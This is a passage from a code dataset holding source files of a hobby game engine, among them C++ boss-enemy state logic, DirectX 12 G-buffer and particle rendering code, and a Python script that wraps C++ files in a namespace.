= \"Assets/modelData/AssistantMachine/am.tkm\";\n\t\tmid.m_tksFilePath = \"Assets/modelData/AssistantMachine/am.tks\";\n\t\tmodelR->Init(mid);\n\t\tm_modelRenders.push_back(modelR);\n\t\tm_pods.push_back(modelR);\n\t}\n\n\treturn modelR;\n}\n\n"
},
{
"alpha_fraction": 0.6388888955116272,
"alphanum_fraction": 0.6499565839767456,
"avg_line_length": 22.757732391357422,
"blob_id": "af8c7d7b1c17087eda2a8bfcf7f9198ff486b004",
"content_id": "43e210e5c7515cf38946677f5592a38f7ad5dcaf",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 4896,
"license_type": "no_license",
"max_line_length": 84,
"num_lines": 194,
"path": "/Game/Enemy/State/BossFatmanState/Boss_FatmanMainState.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"stdafx.h\"\n#include \"Boss_FatmanMainState.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Boss/Boss_Fatman.h\"\n#include \"GameManager.h\"\n#include \"../../../Game.h\"\n#include \"Camera/GameCamera.h\"\n#include \"Enemy/State/BossFatmanState/Boss_FatmanAngryPerform.h\"\n#include \"Enemy/BossBGM.h\"\n\n\nBoss_FatmanMainState::Boss_FatmanMainState()\n{\n\n}\n\nBoss_FatmanMainState::~Boss_FatmanMainState()\n{\n\n}\n\nvoid Boss_FatmanMainState::Enter(IEnemy* e)\n{\n\t//重力。\n\tVector3 gravity = Vector3::Zero;\n\tgravity.y = -5000.f;\n\te->SetVelocity(gravity);\n\n\te->PlayAnimation(IEnemy::EnAnimation::enIdle);\n\n\t//IK情報。\n\tfor (int i = 0; i < IK_NUM; i++) {\n\t\tm_BeamIk[i] = e->GetIK(TO_INT(IEnemy::EnIK::enArm_L) + i);\n\t}\n\tfor (int i = 0; i < IK_NUM; i++) {\n\t\tm_ShootIk[i] = e->GetIK(TO_INT(IEnemy::EnIK::enFoot_L) + i);\n\t}\n\n\t//出会った時の演出。\n\tif (!m_isPerformed) {\n\t\tm_isPerformed = true;\n\t\tGameManager::GetInstance().m_gameScene->OnEnterBattle(e);\n\n\t}\n\t//怒った時の演出。\n\tif (!m_isAngryPerformed\n\t\t&& EnBattlePhase::Mad == Boss_Fatman::GetCurrentBattlePhase()) {\n\t\te->PlayAnimation(TO_INT(Boss_Fatman::EnAnimEX::enAngry));\n\n\t\tCSoundSource* se = NewGO<CSoundSource>(0);\n\t\tse->Init(L\"Assets/sound/Boss_Shout.wav\");\n\t\tse->Play(false);\n\t\tse->SetVolume(1.0f);\n\n\t\tm_isAngryPerformed = true;\n\n\t\tauto cam = GameManager::GetInstance().m_camera;\n\t\tauto tar = e->GetPosition();\n\t\ttar.y += 20.f;\n\n\t\tauto eneForward = e->GetForward();\n\t\tauto camEndPos = e->GetPosition() + eneForward * 35.f;\n\t\tcamEndPos.y += 20.f;\n\t\tauto sec = 1.f;\n\t\tauto interval = 1.7f;\n\n\t\tg_graphicsEngine->GetPostEffect().SetUseFocusBlurFrag(true);\n\n\t\tcam->Perform(\n\t\t\tcamEndPos, camEndPos,\n\t\t\ttar, tar, sec, interval, GameCamera::State::enEnemyCamera\n\t\t);\n\n\t\tm_bap = NewGO<Boss_FatmanAngryPerform>(0);\n\t\tm_bap->SetBeamIk(m_BeamIk);\n\t\tm_bap->SetShootIk(m_ShootIk);\n\t}\n\n}\n\nIEnemyState* Boss_FatmanMainState::Update(IEnemy* e)\n{\n\tif (!m_isBmp && m_isAngryPerformed) {\n\t\tDeleteGO(m_bap);\n\t\tm_isBmp = true;\n\t}\n\n\tChangeBattleState(e);\n\n\tm_fatTimer += gameTime()->GetDeltaTime();\n\n\tfloat attackSpan = 0.9f;\n\tif (EnBattlePhase::Mad == Boss_Fatman::GetCurrentBattlePhase()) {\n\t\tattackSpan = 0.3f;\n\t}\n\telse if (EnBattlePhase::Tired == Boss_Fatman::GetCurrentBattlePhase()) {\n\t\tattackSpan = 0.6f;\n\t}\n\n\tif (m_fatTimer > attackSpan) {\n\t\tauto& player = GameManager::GetInstance().m_player;\n\t\tif (player->GetCurrentHP() > 0.f) {\n\t\t\tconst auto& ppos = player->GetPosition();\n\t\t\tconst auto& epos = e->GetPosition();\n\t\t\tauto vecToPlayer = ppos - epos;\n\n\t\t\t//ものすごい離れたら停止。\n\t\t\tconst float idleDist = 400.0f;\n\t\t\tif (vecToPlayer.Length() > idleDist) {\n\t\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enIdleState));\n\t\t\t}\n\n\t\t\t//離れたら遠距離攻撃。\n\t\t\t//もしくはプレイヤーが飛んでいたら遠距離攻撃。\n\t\t\tif (vecToPlayer.Length() > Boss_Fatman::TAKE_DISTANCE or !player->IsOnGround()) {\n\t\t\t\tm_fatTimer = 0.f;\n\t\t\t\tm_isTakeDistance = false;\n\t\t\t\tm_isTackle = false;\n\t\t\t\tswitch (Boss_Fatman::GetCurrentBattlePhase()) {\n\t\t\t\tcase EnBattlePhase::Normal:\n\t\t\t\t\treturn LongRangeAttack(e);\n\t\t\t\t\tbreak;\n\t\t\t\tcase EnBattlePhase::Mad:\n\t\t\t\tcase EnBattlePhase::Tired:\n\t\t\t\t\t//確率で行動変化。\n\t\t\t\t\tauto rand = GRandom().Rand();\n\t\t\t\t\tif (rand < 0.5f) {\n\t\t\t\t\t\t//ビーム。\n\t\t\t\t\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackA));\n\t\t\t\t\t}\n\t\t\t\t\telse {\n\t\t\t\t\t\t//溜めビーム&乱射。\n\t\t\t\t\t\treturn e->GetState(TO_INT(Boss_Fatman::EnStateEX::enAttackE));\n\t\t\t\t\t}\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\t//近づいたらタックルか距離をとる。\n\t\t\telse {\n\t\t\t\tif (m_isTakeDistance) {\n\t\t\t\t\t//確率で行動変化。\n\t\t\t\t\t/*auto rand = GRandom().Rand();\n\t\t\t\t\tif (rand < 0.5f) {*/\n\t\t\t\t\t//タックル。\n\t\t\t\t\tm_isTakeDistance = false;\n\t\t\t\t\tm_isTackle = true;\n\t\t\t\t\treturn e->GetState(TO_INT(Boss_Fatman::EnStateEX::enAttackD));\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\t//距離をとる。\n\t\t\t\t\tm_isTakeDistance = true;\n\t\t\t\t\tm_isTackle = false;\n\t\t\t\t\treturn e->GetState(TO_INT(Boss_Fatman::EnStateEX::enTakeDistance));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\treturn this;\n}\n\nvoid Boss_FatmanMainState::Exit(IEnemy* e)\n{\n}\n\nIEnemyState* Boss_FatmanMainState::LongRangeAttack(IEnemy* e)\n{\n\t//確率で行動変化。\n\tauto rand = GRandom().Rand();\n\tif (rand < 0.33f) {\n\t\t//ビーム。\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackA));\n\t}\n\telse if (rand < 0.66f) {\n\t\t//溜めビーム。\n\t\treturn e->GetState(TO_INT(IEnemy::EnState::enAttackB));\n\t}\n\telse {\n\t\t//乱射。\n\t\treturn e->GetState(TO_INT(Boss_Fatman::EnStateEX::enAttackC));\n\t}\n}\n\nvoid Boss_FatmanMainState::ChangeBattleState(IEnemy* e)\n{\n\tconst float percentage_Tired = 2.0f / 5.0f;\n\tconst float percentage_Mad = 2.0f / 3.0f;\n\tif (e->GetCurrentHP() < e->GetMaxHP() * percentage_Tired) {\n\t\tBoss_Fatman::SetBattlePhase(EnBattlePhase::Tired);\n\t}\n\telse if (e->GetCurrentHP() < e->GetMaxHP() * percentage_Mad) {\n\t\tBoss_Fatman::SetBattlePhase(EnBattlePhase::Mad);\n\t}\n}"
},
{
"alpha_fraction": 0.5203251838684082,
"alphanum_fraction": 0.5284552574157715,
"avg_line_length": 16.854839324951172,
"blob_id": "e5122dd08c8fe85f31ced8fa81ca96bfc87ffeb1",
"content_id": "be118e9be53f2633a81bc9566136405b513d2989",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1157,
"license_type": "no_license",
"max_line_length": 49,
"num_lines": 62,
"path": "/PythonScript/createanamespase.py",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#coding:utf-8\n\n#一括でnamespaceを付けるためだけのスクリプト\n#多分もういらない\n\nimport glob\nimport os\nimport chardet\n\nnss = [\"namespace UER\\n\",\"{\\n\"]\nfs = \"}\\n\"\ntab = \"\\t\"\n\ninc = \"#include\"\nprg = \"#pragma\"\n\n\ndef encode(p):\n sc = None\n enc = None\n with open(p,\"rb\") as f:\n enc =chardet.detect(f.read())[\"encoding\"]\n print(enc)\n if \"Windows\" in enc:\n enc = \"Shift-JIS\"\n\n with open(p,\"r\",encoding=enc) as f:\n sc = f.readlines()\n\n print(sc)\n\n lastINC = 0\n for i,s in enumerate(sc):\n if inc in s or prg in s:\n lastINC = i+1\n\n for i in range(lastINC,len(sc)):\n s = list(sc[i])\n s.insert(0,tab)\n sc[i] = \"\".join(s)\n\n sc.insert(lastINC,\"\\n\")\n sc.insert(lastINC,\"\\n\")\n\n sc.insert(lastINC+2,nss[0])\n sc.insert(lastINC+3,nss[1])\n\n sc.append(\"\\n\\n\"+fs)\n\n #print(\"\".join(sc))\n with open(p,\"w\",encoding=\"utf-8\") as f:\n f.writelines(sc)\n\n \np = input(\"file or folder\\n<<< \")\nif os.path.isdir(p):\n ps = glob.glob(p+\"\\\\*.h\")\n ps += glob.glob(p+\"\\\\*.cpp\")\n for file in ps:\n encode(file)\nelse:\n encode(p)\n"
},
{
"alpha_fraction": 0.7368420958518982,
"alphanum_fraction": 0.7368420958518982,
"avg_line_length": 16.91428565979004,
"blob_id": "34c223a54b08bcc4508a94bf87c1c1395e6289ca",
"content_id": "0237cb58b10898ca5e58dc05b6a90531bfa245b8",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 627,
"license_type": "no_license",
"max_line_length": 65,
"num_lines": 35,
"path": "/Game/Enemy/State/ShortBigState/EnemyShortBigDance.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"stdafx.h\"\n#include \"EnemyShortBigDance.h\"\n#include \"Enemy/IEnemy.h\"\n#include \"Enemy/EnemyManager.h\"\n#include \"Enemy/Zako/Zako_ShortBig.h\"\n\nEnemyShortBigDance::EnemyShortBigDance()\n{\n}\n\nEnemyShortBigDance::~EnemyShortBigDance()\n{\n}\n\nvoid EnemyShortBigDance::Enter(IEnemy* e)\n{\n\te->PlayAnimation(TO_INT(Zako_ShortBig::EnAnimEX::enDance));\n}\n\nIEnemyState* EnemyShortBigDance::Update(IEnemy* e)\n{\n\tif (!e->GetModel()->IsAnimPlaying())\n\t{\n\t\treturn e->GetState(TO_INT(Zako_ShortBig::EnStateEX::enComing));\n\t}\n\treturn this;\n}\n\nvoid EnemyShortBigDance::Exit(IEnemy* e)\n{\n}\n\nvoid EnemyShortBigDance::OnAttacked(IEnemy* e)\n{\n}\n"
},
{
"alpha_fraction": 0.7193947434425354,
"alphanum_fraction": 0.7290233969688416,
"avg_line_length": 20.294116973876953,
"blob_id": "2547f6854e230b26e76817a4cf6fe64d3744226e",
"content_id": "57b5070d40d0c13e6241650870b2704a215c95fa",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 727,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 34,
"path": "/Game/Player/Attack/ExplosivePreset/PlayerAttackThrowBomb.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"../IPlayerAttack.h\"\n\nclass PlayerAttackThrowBomb : public IPlayerAttack\n{\npublic:\n\tPlayerAttackThrowBomb();\n\tvirtual ~PlayerAttackThrowBomb() override;\n\n\tvirtual void Init(Player*, int combo) override;;\n\tvirtual void Execute(Player*) override;\n\n\tvirtual const bool IsDone() override {\n\t\treturn m_isDone;\n\t}\n\n\tvirtual const float GetInterval() override {\n\t\treturn m_interval;\n\t}\n\tvirtual const bool IsContinueAttack() override {\n\t\treturn m_isContinuAttack;\n\t}\nprivate:\n\tbool m_isDone = false;\n\tbool m_isContinuAttack = false;\n\tconst float m_interval = 0.5f;\n\tfloat m_timer = 0.f;\n\n\tconst float m_damageAmount = m_DEFAULT_ATTACK_DAMAGE * 1.5f;\n\tconst float m_speed = 10.f;\n\n\tbool threwFlag = false;\n\n};\n\n\n\n"
},
{
"alpha_fraction": 0.6622381210327148,
"alphanum_fraction": 0.6913643479347229,
"avg_line_length": 22.878047943115234,
"blob_id": "b3a74d4d3372221856366191294f414674db4d83",
"content_id": "ff4387d7e24c0d23bc061a0ee0cfd446f1a9839e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 1957,
"license_type": "no_license",
"max_line_length": 129,
"num_lines": 82,
"path": "/UsualEngineR/Graphics/PreRender/GBuffer.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#include \"PreCompile.h\"\n#include \"GBuffer.h\"\n\n\n\n\nnamespace UER\n{\n\tinline void InitRenderTarget(RenderTarget& rt,DXGI_FORMAT texForm,DXGI_FORMAT dsForm,const Vector4& ccolor, const wchar_t* name)\n\t{\n\t\trt.Create(FRAME_BUFFER_W, FRAME_BUFFER_H, 1, 1, texForm, dsForm, ccolor.v);\n\t\trt.SetName(name);\n\t}\n\tvoid GBuffer::Init()\n\t{\n\t\tInitRenderTarget(\n\t\t\tm_gBuffer[TO_INT(EGBufferKind::Diffuse)],\n\t\t\tDXGI_FORMAT_R32G32B32A32_FLOAT,\n\t\t\tDXGI_FORMAT_D32_FLOAT,\n\t\t\t{ 0.5f,0.5f,0.5f,1 },\n\t\t\tL\"GB_Diffuse\");\n\n\t\tInitRenderTarget(\n\t\t\tm_gBuffer[TO_INT(EGBufferKind::Depth)],\n\t\t\tDXGI_FORMAT_R32_FLOAT,\n\t\t\tDXGI_FORMAT_UNKNOWN,\n\t\t\t{ 1,1.f,g_camera3D->GetFar()- g_camera3D->GetNear(),1.f },\n\t\t\tL\"GB_Depth\");\n\n\t\tInitRenderTarget(\n\t\t\tm_gBuffer[TO_INT(EGBufferKind::Normal)],\n\t\t\tDXGI_FORMAT_R32G32B32A32_FLOAT,\n\t\t\tDXGI_FORMAT_UNKNOWN,\n\t\t\t{ 0.f,1.f,0.f,1 },\n\t\t\tL\"GB_Normal\");\n\n\t\tInitRenderTarget(\n\t\t\tm_gBuffer[TO_INT(EGBufferKind::Specular)],\n\t\t\tDXGI_FORMAT_R32_FLOAT,\n\t\t\tDXGI_FORMAT_UNKNOWN,\n\t\t\t{ 0,0,0,1 },\n\t\t\tL\"GB_Specular\");\n\n\t\tInitRenderTarget(m_gBuffer[TO_INT(EGBufferKind::Tangent)],\n\t\t\tDXGI_FORMAT_R32G32B32A32_FLOAT,\n\t\t\tDXGI_FORMAT_UNKNOWN,\n\t\t\t{ 1,0,0,1 },\n\t\t\tL\"GB_Tangent\");\n\t}\n\tvoid GBuffer::BegineRender(RenderContext& rc)\n\t{\n\t\trc.WaitUntilToPossibleSetRenderTargets(TO_INT(EGBufferKind::NumKind), m_gBuffer);\n\t\trc.SetRenderTargets(TO_UINT(EGBufferKind::NumKind), m_gBuffer);\n\n\t\tfor (auto& gb : m_gBuffer)\n\t\t{\n\t\t\tgb.Clear(rc);\n\t\t}\n\n\t}\n\tvoid GBuffer::EndRender(RenderContext& rc)\n\t{\n\t\trc.WaitUntilFinishDrawingToRenderTargets(TO_INT(EGBufferKind::NumKind), m_gBuffer);\n\t}\n\tvoid GBuffer::Draw(RenderContext& rc)\n\t{\n\t\trc.WaitUntilToPossibleSetRenderTargets(TO_INT(EGBufferKind::NumKind),m_gBuffer);\n\t\trc.SetRenderTargets(TO_UINT(EGBufferKind::NumKind), m_gBuffer);\n\n\t\tfor (auto& gb : m_gBuffer)\n\t\t{\n\t\t\tgb.Clear(rc);\n\t\t}\n\n\t\tfor (auto obj : m_renderObjects)\n\t\t{\n\t\t\tobj->Render();\n\t\t}\n\n\t\trc.WaitUntilFinishDrawingToRenderTargets(TO_INT(EGBufferKind::NumKind), m_gBuffer);\n\t}\n}"
},
{
"alpha_fraction": 0.595588207244873,
"alphanum_fraction": 0.6014705896377563,
"avg_line_length": 11.160714149475098,
"blob_id": "cabbfb2e68a668ae44c6a192b7c4ad290f98f923",
"content_id": "1f676df4f88511e511efba6337064e0461b3b209",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 732,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 56,
"path": "/UsualEngineR/Graphics/Light/LightPoint.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"LightBase.h\"\n\nnamespace UER\n{\n\tclass LightPoint:public LightBase\n\t{\n\tpublic:\n\t\tLightPoint() {}\n\t\t~LightPoint() {}\n\n\n\t\t//更新\n\t\t//void Update() override;\n\n\t\t//本体をゲット\n\t\tSPointLight& GetBody()\n\t\t{\n\t\t\treturn m_light;\n\t\t}\n\n\n\t\tvoid SetPos(const Vector3& pos)\n\t\t{\n\t\t\tm_light.pos = pos;\n\t\t}\n\n\t\tconst Vector3& GetPos() const\n\t\t{\n\t\t\treturn m_light.pos;\n\t\t}\n\n\t\t//光の色をセットする\n\t\tvoid SetCol(const Vector4& col)\n\t\t{\n\t\t\tm_light.color = col;\n\t\t}\n\n\t\t//光の色をゲットする\n\t\tconst Vector4& GetCol() const\n\t\t{\n\t\t\treturn m_light.color;\n\t\t}\n\n\t\tvoid SetDecay(float v)\n\t\t{\n\t\t\tm_light.decay = v;\n\t\t}\n\t\tvoid SetRadius(float v)\n\t\t{\n\t\t\tm_light.radius = v;\n\t\t}\n\tprivate:\n\t\tSPointLight m_light;\n\t};\n}"
},
{
"alpha_fraction": 0.6950092315673828,
"alphanum_fraction": 0.7134935259819031,
"avg_line_length": 19.80769157409668,
"blob_id": "dfc22e85ab844bb5f7c21e9f85df9358f80b3ed8",
"content_id": "c72a30563170c58b241ab54479cebfae9931f19f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 541,
"license_type": "no_license",
"max_line_length": 58,
"num_lines": 26,
"path": "/Game/Enemy/State/EnemyShortRangeBlownState.h",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "UTF-8",
"text": "#pragma once\n#include \"IEnemyState.h\"\n\nclass EnemyShortRangeBlownState final : public IEnemyState\n{\npublic:\n\tEnemyShortRangeBlownState();\n\t~EnemyShortRangeBlownState();\n\tvoid Enter(IEnemy* e) override;\n\tIEnemyState* Update(IEnemy* e) override;\n\tvoid Exit(IEnemy* e) override;\nprivate:\n\tIK* m_ikList[6] = { nullptr };\n\t\n\tVector3 m_velocityXZ = Vector3::Zero;\n\tfloat m_velocityY = 0.f;\n\tbool m_isNoBlown = false;\n\n\tfloat m_grav = 150.f;\n\n\tfloat m_timer = 0.;\n\tfloat m_timeLimit = 10.f;\n\n\tbool m_isTakeOff = false;\n\tbool m_isTakeOn = false;\n};\n"
},
{
"alpha_fraction": 0.6582121253013611,
"alphanum_fraction": 0.6817720532417297,
"avg_line_length": 25.094118118286133,
"blob_id": "a891566494b482846c680132b9464e89446841bb",
"content_id": "622c5a802ca08c6eccf9d117f5c991f319a9126a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "C++",
"length_bytes": 8989,
"license_type": "no_license",
"max_line_length": 113,
"num_lines": 340,
"path": "/UsualEngineR/Graphics/Effect/ParticleEffect.cpp",
"repo_name": "kokoasann/UsualEngineR",
"src_encoding": "SHIFT_JIS",
"text": "#include \"PreCompile.h\"\n#include \"ParticleEffect.h\"\n\n\n\nnamespace UER\n{\n\n\tnamespace {\n\t\tstruct SSimpleVertex {\n\t\t\tVector4 pos;\n\t\t\tVector2 tex;\n\t\t};\n\t}\n\tvoid PlaneParticleEffect::Release()\n\t{\n\t\tfor (auto p : m_extendDatas)\n\t\t{\n\t\t\tfree(p);\n\t\t}\n\t}\n\tvoid PlaneParticleEffect::Init(const PlaneParticleEffectInitData& ini)\n\t{\n\t\t//m_updater = ini.m_updater;\n\t\tm_updateFunc = ini.m_updater->m_updateFunc;\n\t\tm_generateFunc = ini.m_updater->m_geneFunc;\n\t\tm_extendDataSize = ini.m_extendDataSize;\n\t\tm_isBillboard = ini.m_isBillboard;\n\n\t\tm_texture.InitFromDDSFile(ini.m_ddsFilePath);\n\t\tif (ini.m_width == 0 || ini.m_height == 0)\n\t\t{\n\t\t\tm_width = m_texture.GetWidth();\n\t\t\tm_height = m_texture.GetHeight();\n\t\t}\n\t\telse\n\t\t{\n\t\t\tm_width = ini.m_width;\n\t\t\tm_height = ini.m_height;\n\t\t}\n\n\t\tm_constBuffer.Init(sizeof(SConstBuffData));\n\t\tm_structuredBuff.Init(sizeof(SParticleData), MAX_INSTANCES_NUM, nullptr);\n\n\t\tm_vs.LoadVS(L\"Assets/shader/SpriteInstancing.fx\", \"VSMain\");\n\t\tif(!ini.m_isDepthTest)\n\t\t\tm_ps.LoadPS(L\"Assets/shader/SpriteInstancing.fx\", \"PSMain\");\n\t\telse\n\t\t\tm_ps.LoadPS(L\"Assets/shader/SpriteInstancing.fx\", \"PSMain_DepthEnable\");\n\t\t\n\t\tfloat halfW = m_width * 0.5f;\n\t\tfloat halfH = m_height * 0.5f;\n\t\t//頂点バッファのソースデータ。\n\t\tSSimpleVertex vertices[] =\n\t\t{\n\t\t\t{\n\t\t\t\tVector4(-halfW, -halfH, 0.0f, 1.0f),\n\t\t\t\tVector2(1.0f, 1.0f),\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(halfW, -halfH, 0.0f, 1.0f),\n\t\t\t\tVector2(0.0f, 1.0f),\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(-halfW, halfH, 0.0f, 1.0f),\n\t\t\t\tVector2(1.0f, 0.0f)\n\t\t\t},\n\t\t\t{\n\t\t\t\tVector4(halfW, halfH, 0.0f, 1.0f),\n\t\t\t\tVector2(0.0f, 0.0f)\n\t\t\t}\n\n\t\t};\n\t\tshort indices[] = { 0,1,2,3 };\n\n\t\tm_vertBuff.Init(sizeof(SSimpleVertex) * 4, sizeof(SSimpleVertex));\n\t\tm_vertBuff.Copy(vertices);\n\n\t\tm_indexBuff.Init(sizeof(short) * 4, sizeof(short));\n\t\tm_indexBuff.Copy(indices);\n\n\t\tm_rootSign.Init(\n\t\t\tD3D12_FILTER_MIN_MAG_MIP_LINEAR,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\tD3D12_TEXTURE_ADDRESS_MODE_WRAP,\n\t\t\t1,3,1\n\t\t);\n\t\t\n\t\t// 頂点レイアウトを定義する。\n\t\tD3D12_INPUT_ELEMENT_DESC inputElementDescs[] =\n\t\t{\n\t\t\t{ \"POSITION\", 0, DXGI_FORMAT_R32G32B32A32_FLOAT, 0, 0, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t\t{ \"TEXCOORD\", 0, DXGI_FORMAT_R32G32_FLOAT, 0, 16, D3D12_INPUT_CLASSIFICATION_PER_VERTEX_DATA, 0 },\n\t\t};\n\n\t\tD3D12_BLEND_DESC blendDesc = {};\n\t\tblendDesc.AlphaToCoverageEnable = FALSE;\n\t\tblendDesc.IndependentBlendEnable = FALSE;\n\t\tconst D3D12_RENDER_TARGET_BLEND_DESC defaultRenderTargetBlendDesc =\n\t\t{\n\t\t\tTRUE,FALSE,\n\t\t\tD3D12_BLEND_SRC_ALPHA, D3D12_BLEND_INV_SRC_ALPHA, D3D12_BLEND_OP_ADD,\n\t\t\tD3D12_BLEND_ONE, D3D12_BLEND_ZERO, D3D12_BLEND_OP_ADD,\n\t\t\tD3D12_LOGIC_OP_NOOP,\n\t\t\tD3D12_COLOR_WRITE_ENABLE_ALL,\n\t\t};\n\t\tfor (UINT i = 0; i < D3D12_SIMULTANEOUS_RENDER_TARGET_COUNT; ++i)\n\t\t\tblendDesc.RenderTarget[i] = defaultRenderTargetBlendDesc;\n\n\t\t//パイプラインステートを作成。\n\t\tD3D12_GRAPHICS_PIPELINE_STATE_DESC psoDesc = { 0 };\n\t\tpsoDesc.InputLayout = { inputElementDescs, _countof(inputElementDescs) };\n\t\tpsoDesc.pRootSignature = m_rootSign.Get();\n\t\tpsoDesc.VS = CD3DX12_SHADER_BYTECODE(m_vs.GetCompiledBlob());\n\t\tpsoDesc.PS = CD3DX12_SHADER_BYTECODE(m_ps.GetCompiledBlob());\n\t\tpsoDesc.RasterizerState = CD3DX12_RASTERIZER_DESC(D3D12_DEFAULT);\n\t\tpsoDesc.RasterizerState.CullMode = D3D12_CULL_MODE_NONE;\n\t\tpsoDesc.BlendState = blendDesc;\n\t\tpsoDesc.DepthStencilState.DepthEnable = FALSE;\n\t\tpsoDesc.DepthStencilState.DepthWriteMask = D3D12_DEPTH_WRITE_MASK_ZERO;\n\t\tpsoDesc.DepthStencilState.DepthFunc = D3D12_COMPARISON_FUNC_LESS_EQUAL;\n\t\tpsoDesc.DepthStencilState.StencilEnable = FALSE;\n\t\tpsoDesc.SampleMask = UINT_MAX;\n\t\tpsoDesc.PrimitiveTopologyType = D3D12_PRIMITIVE_TOPOLOGY_TYPE_TRIANGLE;\n\t\tpsoDesc.NumRenderTargets = 1;\n\t\tpsoDesc.RTVFormats[0] = DXGI_FORMAT_R32G32B32A32_FLOAT;\n\t\tpsoDesc.DSVFormat = DXGI_FORMAT_D16_UNORM;\n\t\tpsoDesc.SampleDesc.Count = 1;\n\t\tm_pipState.Init(psoDesc);\n\n\t\tm_descHeap.RegistConstantBuffer(0, m_constBuffer);\n\t\tm_descHeap.RegistShaderResource(0, m_texture);\n\t\tm_descHeap.RegistShaderResource(1, m_structuredBuff);\n\t\tif (ini.m_isDepthTest)\n\t\t{\n\t\t\tauto& depth = g_graphicsEngine->GetPreRender().GetGBuffer().GetGBuffer(EGBufferKind::Depth);\n\t\t\tm_descHeap.RegistShaderResource(2, depth.GetRenderTargetTexture());\n\t\t}\n\t\tm_descHeap.Commit();\n\t}\n\tvoid PlaneParticleEffect::Update(float deltaTime, const Vector3& pos, const Vector3& sca, const Quaternion& rot)\n\t{\n\t\tMatrix mRot;\n\t\tmRot.MakeRotationFromQuaternion(rot);\n\n\t\t/*m_mWorld.MakeScaling(sca);\n\t\tm_mWorld.Multiply(m_mWorld, mRot);\n\t\tm_mWorld.SetTranspose(pos);*/\n\n\t\tm_mWorld = mRot;\n\t\tm_mWorld.v[0].Scale(sca.x);\n\t\tm_mWorld.v[1].Scale(sca.y);\n\t\tm_mWorld.v[2].Scale(sca.z);\n\t\tm_mWorld.SetTranspose(pos);\n\t\t//m_mWorld.MakeTransform(pos, sca, rot);\n\n\t\tm_mRot_inv.Inverse(mRot);\n\n\n\n\t\t//寿命切れの奴を消す。\n\t\tstd::list<int> deths;\n\t\tfor (int i = 0; i < m_numInstance; i++)\n\t\t{\n\t\t\tm_particleDatasEX[i].lifeTime -= deltaTime;\n\t\t\tif (m_particleDatasEX[i].lifeTime <= 0)\n\t\t\t{\n\t\t\t\tdeths.push_back(i);\n\t\t\t}\n\t\t}\n\t\tdeths.reverse();\n\t\tfor (int i : deths)\n\t\t{\n\n\n\t\t\tif (i != m_particleDatasEX.size() - 1)\n\t\t\t{\n\n\t\t\t\tstd::swap(m_particleDatasEX[i], m_particleDatasEX[m_particleDatasEX.size() - 1]);\n\t\t\t\tm_particleDatasEX.pop_back();\n\n\t\t\t\tif (m_extendDataSize > 0)\n\t\t\t\t{\n\n\t\t\t\t\tstd::swap(m_extendDatas[i], m_extendDatas[m_numInstance - 1]);\n\t\t\t\t}\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\n\t\t\t\tm_particleDatasEX.pop_back();\n\t\t\t}\n\n\t\t\tm_numInstance--;\n\t\t}\n\n\t\t//生み出す。\n\t\tif(m_generateFlag)\n\t\t\tm_generateFunc(this, deltaTime);\n\n\t\t//更新。\n\t\tfor (int i =0;i < m_numInstance;i++)\n\t\t{\n\t\t\tif(m_extendDataSize == 0)\n\t\t\t\tm_updateFunc(m_particleDatasEX[i],deltaTime,nullptr);\n\t\t\telse\n\t\t\t\tm_updateFunc(m_particleDatasEX[i], deltaTime, m_extendDatas[i]);\n\t\t}\n\t}\n\tvoid PlaneParticleEffect::Draw(\n\t\tRenderContext& rc,\n\t\tconst Vector3& pos,\n\t\tconst Vector3& sca,\n\t\tconst Quaternion& rot,\n\t\tconst Vector4& mulColor,\n\t\tconst Matrix& view,\n\t\tconst Matrix& projection\n\t)\n\t{\n\t\tif (m_numInstance == 0)\n\t\t\treturn;\n\n\n\t\tMatrix vrot = view, vwirot;\n\t\tvrot.SetTranspose({ 0,0,0 });\n\t\tvrot.Inverse();\n\t\tMatrix /*mTra, mSca, mRot, mWor,*/ mvp, mwvp;\n\t\t//mSca.MakeScaling(sca);\n\t\t//mRot.MakeRotationFromQuaternion(rot);\n\t\t//mRot.Multiply(vrot, mRot);\n\t\t//mTra.MakeTranslation(pos);\n\t\t//mWor.Multiply(mSca, mRot);\n\t\t//mWor.Multiply(mWor, mTra);\n\n\t\t//mvp.Multiply(m_mWorld, view);\n\t\t//mvp.Multiply(mvp, projection);\n\t\t\n\t\tmvp.Multiply(view, projection);\n\t\tmwvp.Multiply(m_mWorld, 